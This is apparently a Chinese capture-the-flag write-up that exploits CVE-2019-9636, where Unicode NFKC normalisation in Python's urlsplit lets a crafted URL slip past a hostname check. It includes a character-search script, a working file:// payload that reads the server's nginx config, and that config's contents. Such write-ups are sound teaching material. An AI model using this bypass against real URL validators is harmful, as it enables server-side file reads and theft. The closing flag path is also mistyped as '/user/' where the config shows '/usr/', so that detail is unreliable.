考点:
CVE-2019-9636:urlsplit不处理NFKC标准化
Nginx重要文件位置
- 配置文件存放目录:/etc/nginx 主配置文件:/etc/nginx/conf/nginx.conf 管理脚本:/usr/lib64/systemd/system/nginx.service 模块:/usr/lisb64/nginx/modules 应用程序:/usr/sbin/nginx 程序默认存放位置:/usr/share/nginx/html 日志默认存放位置:/var/log/nginx 配置文件目录为:/usr/local/nginx/conf/nginx.conf现在nginx网站配置从nginx.conf转到同目录文件夹下的default.config
查看源码
打开页面就给了源码。要求提交的URL里经过parse.urlparse的处理,hostname为suctf.cc,urlsplit处理后第二部分返回的suctf.cc,然后按.分割。idna编码再解码成UTF-8后再组合,要求urlparse的hostname还是suctf.cc,那么就会进行SSRF
这题涉及到的知识点简单来说,就是URL包含Unicode字符时换转成punycode,转换的时候对Unicode字符额外编码(IDNA),但有的Unicode字符转IDNA的时候,已经解释成正常ASCII字符了,Punycode就不会进行。
上述Unicode字符中有些包含/,就会对网址的含义造成影响。如”℀”(U+2100)转换的时候就变成了a/c,造成URL的分割。
www.f℀ke.microsoft.com,就会变成www.fa/cke.microsoft.com,域名发生变化。
我们的目标是file://suctf.cc/?,最后一个c后出现/和我们一个想要的字符。那么我们来遍历一下Unicode字符集吧
import unicodedatafor i in range(0x0000,0xffff): if “/“ in unicodedata.normalize(“NFKC”,chr(i)): print(i,chr(i)) |
---|
返回的结果并不多
- 47 /
- 8448 ℀
- 8449 ℁
- 8453 ℅
- 8454 ℆
- 65295 /
而其中8453和8454的结果是我们想要的。那么下一步是我们读什么文件?注意到题目和Web服务器,我们才一下nginx的配置文件
url=file%3A%2F%2Fsuctf.c%E2%84%86sr%2Flocal%2Fnginx%2Fconf%2Fnginx.conf
url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
返回
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
那么直接读/user/fffffflag就好了